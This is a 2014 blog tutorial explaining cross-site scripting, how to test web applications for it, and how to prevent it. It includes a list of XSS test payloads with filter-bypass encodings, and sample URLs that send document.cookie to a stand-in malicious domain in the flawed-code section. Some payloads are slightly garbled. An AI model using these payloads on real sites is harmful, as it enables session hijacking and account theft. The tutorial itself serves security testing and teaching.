Cross-Site Scripting

By Shanmuga Priya S on July 8, 2014

Cross-site Scripting, or XSS for short, is a type of web application security vulnerability that allows an attacker to add malicious code to an application that can then execute in a user’s browser.

Cross-site Scripting is one of the most common application-layer web attacks. In XSS attacks, the victim is the user rather than the application. XSS attacks target client-side scripting languages such as HTML and JavaScript to embed a malicious script in a web page. These attacks can execute every time the page is loaded into a user’s browser or whenever an associated action is performed by the user.

Potential outcomes of XSS attacks include browser session hijacking, stealing account credentials, displaying unwanted advertisements, and infecting the user with a virus or other malware. However, the most malevolent XSS attacks complete their dirty work in secret, accessing unrelated web applications and resources behind the victim’s firewall. XSS vulnerabilities in software are easily preventable, yet most companies don’t take measures to protect their users.

XSS attacks involve three parties:
• The attacker
• The victim
• The vulnerable Web site that the attacker exploits to take action on the victim

Out of the three parties, the victim is the only one who actually runs the attacker’s code. The Web site is merely a vehicle for an attack and is not typically affected. An XSS attack can be carried out in a number of ways. As an example, the attacker sends the victim a maliciously crafted URL through e-mail, IM, or some other medium. When the victim opens the URL in a Web browser, the Web site renders the page and the script is executed on the victim’s computer.

I’ve shared some of the best excerpts about XSS attacks. Here we go:

How Attackers Exploit XSS Vulnerabilities

Cross-site Scripting is a vulnerability that arises when web applications take data from users and dynamically include it in web pages without first properly validating the data. XSS vulnerabilities allow an attacker to execute arbitrary commands or run malicious code in a victim’s browser during an active web session, bypassing normal security restrictions. A successful XSS attack results in an attacker controlling the victim’s browser or online account in the vulnerable application.
High Level View of a typical XSS Attack

There are three different types of Cross-site Scripting attacks

1.      Reflective XSS

When interacting with a typical web application, the user will send a web request to the server, such as submitting a form. The application then responds with a page containing an echo of what the user has submitted for confirmation. Web apps with XSS vulnerabilities allow potentially harmful data to be inserted during this routine transaction. A malicious string of Javascript can replace or append itself to the user’s entry, which the user’s browser sees and executes when returned. A reflective XSS attacker entices the victim into initiating the HTTP request by clicking on a malicious link embedded in an email or a counterfeit web page that appears legitimate.

xss-example-1

2.      Persistent XSS

Persistent XSS exploits can occur when a web-application stores user-generated data and sends it back to the user’s browser without properly securing it. This kind of XSS attack is more dangerous since the attacker doesn’t have to entice users into performing any suspicious actions. If user data is not properly sanitized before being displayed in the client browser, then any user of the application can potentially become a victim.

xss-example-2

3.      DOM-based

XSS attacks can exploit the Document Object Model standard that enables API access to the content of HTML and XML documents. Many applications rely on pages that contain client-side scripts that dynamically generate HTML content. Based on certain user input, these pages modify their HTML without any interaction with the server, typically using Java or ActiveX. An XSS attacker has employed DOM-based XSS methodology if a malicious script can be injected into such a page without any data being submitted to the server. Unlike the other XSS techniques, in DOM-based exploits the client-side script is responsible for not properly sanitizing user input rather than the server.

What does an XSS vulnerability look like?
As a Web developer or tester, you know that the technological foundation of Web applications consists of HTTP and HTML. The HTTP protocol is the delivery transport for HTML, the code used to lay out and form the Web page.

XSS vulnerabilities exist when a Web application accepts user input through HTTP requests such as a GET or a POST and then redisplays the input somewhere in the output HTML code.

Here’s the simplest example:

1. Web request looks like this:

GET http://www.somesite.com/page.asp?pageid=10&lang=en&title=Section%20Title

 2. The HTML returned by the server after making this request includes:

<h1>Section Title</h1>

 You can see that the user input passed to the “title” query string parameter was probably placed in a string variable and inserted by the Web application into an <h1> tag. By providing the input, the attacker controls the HTML.

3. Now, if the site is not filtering input server-side (because client-side controls can always be bypassed), a malicious user could abuse this in many ways:

The attacker could inject code by breaking out of the <h1> tag:

http://www.somesite.com/page.asp?pageid=10&lang=en&title=Section%20Title</h1><script>alert(‘XSS%20attack’)</script>

 The HTML output from this last request would look like:

<h1>Section Title</h1><script>alert(‘XSS attack’)</script>

 Even with this most simple of examples, there are numerous things an attacker could do with this link. Let’s look at the potential threats and then move on to some more advanced testing methods.

How serious are the threats from XSS attacks?
With the ability to inject code into the Web page generated, potential threats are limited only to the imagination. An attacker can use XSS vulnerabilities to steal cookies, hijack accounts, execute ActiveX, execute Flash content, force you to download software, and take action on your hard disk and data.

All this can happen simply by getting you to click on some URL. How many times a day do you click on a URL you receive in an e-mail message you trust, through a message board or newsgroup you use?

Phishing attacks commonly exploit XSS vulnerabilities to masquerade as legitimate sites. You’ve seen this a lot, where an e-mail message from your bank lands in your inbox, informing you that some changes have been made to your account and enticing you to click some hyperlink. If you look more closely at the URL, it might actually exploit a vulnerability in your bank’s Web site, and look something like http://mybank.com/somepage?redirect=<script>alert(‘XSS’)</script>, where use of the “redirect” parameter has been exploited to carry out the attack.

If you’re really wily you can target the administrators with an XSS attack, perhaps by sending mail titled “Help! This website URL keeps giving me an error!” After the administrator opens the URL, you can do a lot of damage like stealing his or her credentials.

These are the dangers lie in XSS attacks — hack the users, hack the administrators, stir bad PR for the firm.

Testing for XSS vulnerabilities

Granted, a full security review usually involves more than just seeking out XSS vulnerabilities; it also involves overall threat modeling, testing for overflows, information disclosure, error handling, SQL injection, authentication, and authorization bugs. The nice thing is that doing a thorough job in any one area often overlaps with another. Like, while testing for XSS vulnerabilities, you will very often identify error handling and information disclosure problems as well.

1. Get your toolkit in order

Must-have tools for focused manual testing include:

The point here is that we need to intercept the HTTP requests from Web browser which it makes before they get sent, and then modify them to inject our XSS test. Each of these tools will do that job, and some will also show you the source code of the HTML being returned if you choose to intercept the server responses.

Intercepting the client GET and POST requests is extremely important. This will let you bypass any sort of client-side javascript input validation code that may have been pushed down. A note for all Web developers — client-side security controls are worthless. Validation should always be done on the server.

 2. Map out the site and its functionality — talk with developers and PMs

Create some simple data flow diagrams that describe the pages on the site and their purposes. This is a good point to schedule some meetings for threat modeling with the developers and project managers. Use that time to drill into the application as much as possible. Does the site expose Web services? Is there an authentication form? A message board? A user settings page? Be sure to list out all the pages.

 3. Identify and list out every point of user-supplied input

Take the site map a step further. We can better create a spreadsheet to do this. For each page, list out all of the query string parameters, cookie values, custom HTTP headers, POST data values, and other forms of user-supplied input passed. Don’t forget to search out Web services and similar SOAP requests, and identify all fields that allow user input.

List every input parameter separately because you’re going to need to test each of them independently of the others. This is probably the most important step! Query string values like forwardURL and lang. POST data values like name, password, msgBody, msgTitle, and even some cookie values. All of these are interesting and important to test.

 4. Think thorough and list out your test cases

Take a look at spreadsheet screenshot prepared by Chris Weber to test for XSS Vulnerabilities:

Spreedsheet

5. Start testing and pay attention to the output
The most important part of finding a vulnerability is not whether you found it. It’s whether or not you really know what’s happening. With XSS, just look at the HTML output and find where your input made it in. Is it in an HREF tag? An IFRAME tag? Is it in a CLSID? An IMG SRC? How about the PARAM NAME of some Flash content?

That means you may need to stick in an extra closing bracket > to escape out of a tag, or add a double quote to close an element inside a tag. Or you may need to URL or HTML encode your characters, such as by turning a double quote into %22 or “.

6. Hmmm it’s not so easy, this site is tight. What now?
So maybe your simple test case of <script>alert(‘hi’)</script> isn’t producing the alert box you were expecting. Think this through and talk to the developers if you can. Maybe they’re filtering input for brackets, single quotation marks, or parentheses. Maybe they’re filtering for the word “script.” Again, study how the input is making it to the output, and figure out exactly what each one of the values (query string, cookie, POST data) is doing. A query string value like “pageId=10” may never even make it to the output, so it may not even be worth your time testing. Sometimes it’s better to just try injecting single characters like the bracket, the double quotation mark, or the parenthesis just to see how the application is filtering those characters. Then you’ll know what level of filtering you’re dealing with. You can adjust your tests to encode those characters and try again, or find other ways to inject.

Varying the test cases

Use a number of variations to identify parameters that accept and display scriptable code. There are far too many to list here, but these are a few:

  1. >”‘><script>alert(‘XSS’)</script>
  2. >%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>
  3. AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22
  4. %22%2Balert(%27XSS%27)%2B%22
  5. <table background=”javascript:alert(()"></table>
  6. <object type=text/html data="javascript:alert(();"></object>
  7. <body onload="javascript:alert(()"></body>

There are many variations to try. The key is to understand how the input is being processed and rendered on the output page. As these examples show, the variations often involve preceding the scriptable code with “>”” in order to try closing tags that the Web site might produce on output. They also involve URL encoding of the code in an attempt to bypass input filters on the server-side. Additionally, since brackets “<>” are commonly filtered during input or escaped on output, XSS not requiring brackets must also be tried, such as ”&{alert('XSS')};”

Persistent vs. dynamic

Identifying a successful XSS is tricky, because the XSS attack may not be so obvious at first. As an arbitrary example, when adding a new message to the site and injecting into the “msgTitle” value, you may not see the scriptable code execute immediately after the data is submitted. However, when you visit the message board, the “msgTitle” value may be used in the HTML of the page and executed as scriptable code. This would be referred to as a persistent XSS attack that occurs when the value containing the scriptable code would be saved to the client or the backend to be executed at a later time.

This is in contrast to dynamic XSS attacks that execute immediately and only once. For example, when a link or GET request was formed with scriptable code in one of the query string values that controls output on the page, then that output might only be displayed once when the link was clicked.

How to Fix & Prevent XSS Injection Flaws

It is very simple to avoid having Cross-site Scripting (XSS) vulnerabilities in your code. These fixes lock down the process of passing necessary data between a web application and the user’s browser. They can be employed with any kind of programming language and any type of database. Refer to these basic methods for identifying and preventing XSS errors in web applications.

1. Validate data input from user browsers to the web application.

Developers can prevent reflective Cross-site Scripting vulnerabilities by sanitizing user-inputted data in an HTTP request before reflecting it back. Malicious code is commonly inserted as part of a GET or POST parameter. Be sure to sanitize all input from search fields and forms and convert all user input to a single character encoding before parsing. This applies to Single/Double Hex Encoding, Unicode Encoding, and UTF-8 Parsing.

 2. Encode all output to user browsers from the web application.

  • Make sure all data is validated, filtered, or escaped before echoing back to the user, such as the values of query parameters during searches. Use the appropriate escaping method for the application’s context. HTML encode all user input returned as part of HTML. URL encode all user input returned as part of URLs. Convert special characters such as ?, &, /, <, >, and spaces to their respective HTML or URL encoded equivalents

3. Give users the option to disable client-side scripts.

Some web applications are written to optionally operate without client-side processing at all. This is a development tradeoff which can reduce application functionality or responsiveness. Alternatively, developers can take advantage of common browser plugins that allow users to disable client-side scripts entirely, or instead give the user the option of enabling them within specific applications. When implemented, even potentially malicious scripts could be injected on a page but the user would not be susceptible.

4.  Cookie tokens is to set with HttpOnly and Secure Flags.

Flawed Code Examples :

Reflective XSS

This XSS JavaScript example is delivered to the user through clicking on a malicious link. The XSS request is initiated from the victim’s browser, sent to the vulnerable web application, and then reflected back to execute in the context of the user's session.

http://www.bigsafebank~~~/search.asp?q=<script>x=new Image;x.src =

http://malicious-domain~~~/hijackedsession.php?session- cookie=+document.cookie ;</script>

Persistent XSS

This XSS Javascript example is inputted as part of the attacker’s user name. Here a fraudulent user exploits the fact that the web application stores each user name in a local database that fails to sanitize the name field, leaving it open to XSS attacks. When other users view the attacker’s profile page, the code executes in the context of their session.

http://www.bigsafebank.com/search.asp?q=<script>x=new Image;x.src = http://maliciousdomain~~~/hijackedsession.php?sessioncookie=”+document.co

okie;</script>

Examples:

Please check these links for example:

https://www.google.co.in/?AK%22%20style%3D%22background:url%28javascript:alert%28%27XSS%27%29%29%22%20OS%22
https://www.google.co.in/?a=AK%22%20style%3D%22background:url%28javascript:alert%28%27XSS%27%29%29%22%20OS%22
https://www.google.co.in/?gfe_rd=cr&ei=29-aU9LtOY7V8geYtIDgAQ&gws_rd=AK%22%20style%3D%22background:url%28javascript:alert%28%27XSS%27%29%29%22%20OS%22
www.yahoo.com?AK%22%20style%3D%22background:url%28javascript:alert%28%27XSS%27%29%29%22%20OS%22

Which is getting re-directed to the original home page.

 

Conclusion

Testing for XSS is usually one small part of a full Web application security review, but it warrants being done thoroughly. The important thing is to follow the input and understand how it is rendered on the output HTML page. If you know how the application is using the input, you’ll get a lot done much faster. Don’t waste your time testing input that never gets displayed as output.

The purpose of this article is to define Cross Site Scripting attacks and give some practical examples. Preventing XSS attacks requires diligence from the part of the programmers and the necessary security testing.

Happy Threat Modelling!

 

References:

https://www.owasp.org/index.php/Reviewing_Code_for_Cross-site_scripting

http://technet.microsoft.com/en-us/library/cc512662.aspx

http://www.veracode.com/security/xss

https://www.acunetix.com/websitesecurity/xss/

Leave a Reply

SCROLL TO TOP